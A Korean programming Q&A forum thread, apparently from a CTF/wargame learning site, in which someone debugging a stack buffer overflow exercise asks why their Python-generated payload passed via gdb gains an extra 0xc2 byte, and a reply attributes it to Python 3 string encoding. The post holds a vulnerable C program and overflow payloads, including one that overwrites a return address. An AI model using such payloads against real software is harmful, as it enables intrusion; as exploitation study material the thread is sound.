gdb의 run으로 파이썬 데이터를 넘길 시 알 수 없는 바이트가 추가로 전달됩니다.

image

int main(int argc, char *argv[]) {
    int stdin_fd = 0;
    int stdout_fd = 1;
    int buf_size = 0x10;
    char fruit[0x6] = "cherry";
    char buf[0x6];

    initialize();

    write(stdout_fd, "Menu: ", 6);
    read(stdin_fd, buf, buf_size);
    if(!strncmp(buf, "cherry", 6)) {
        write(stdout_fd, "Is it cherry?: ", 15);
        read(stdin_fd, fruit, buf_size);
    }

    return 0;
}

'Menu: '에 대한 인풋에서 buf와 fruit, buf_size를 덮어쓰기 위해 print('cherryAAAABB\x80\x00\x00\x00')을 통해 값을 전달하였습니다.
이후 gdb를 통해 스택을 확인한 결과 buf는 cherry로, fruit은 AAAABB로 덮어씌어진것을 확인할 수 있었지만 buf_size는 0x00000080이 아닌 0x000080c2가 된 것을 확인할 수 있었습니다.

이와 관련해 원인을 알아보고자 하였으나 원인을 찾지 못하여 이렇게 질문 남깁니다.

아래는 이미지 내 run 명령어입니다.

run <<< $(python -c "print('cherryAAAABB\x80\x00\x00\x00')") <<< $(python -c "print('a' * 18 + 'c' * 8 + '\xbc\x12\x40\x00\x00\x00\x00\x00')")
#bof #gdb
작성자 정보
답변 1
avatar
qwerty
CTF First Place

해당 문제는 python의 string과 bytes의 차이에 의해 발생합니다.

그 예시로, python -c "print('cherryAAAABB\x80\x00\x00\x00'.encode())" 를 실행하면 b'cherryAAAABB\xc2\x80\x00\x00\x00가 나오는 반면,

python3 -c "print('cherryAAAABB\x80\x00\x00\x00'.encode('latin-1'))" 을 실행하면 b'cherryAAAABB\x80\x00\x00\x00'가 나옵니다.

따라서, string이 아닌 bytes(latin-1)로 인코딩하여 사용하시면 해결될 것으로 보입니다.

2024.01.31. 13:13
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기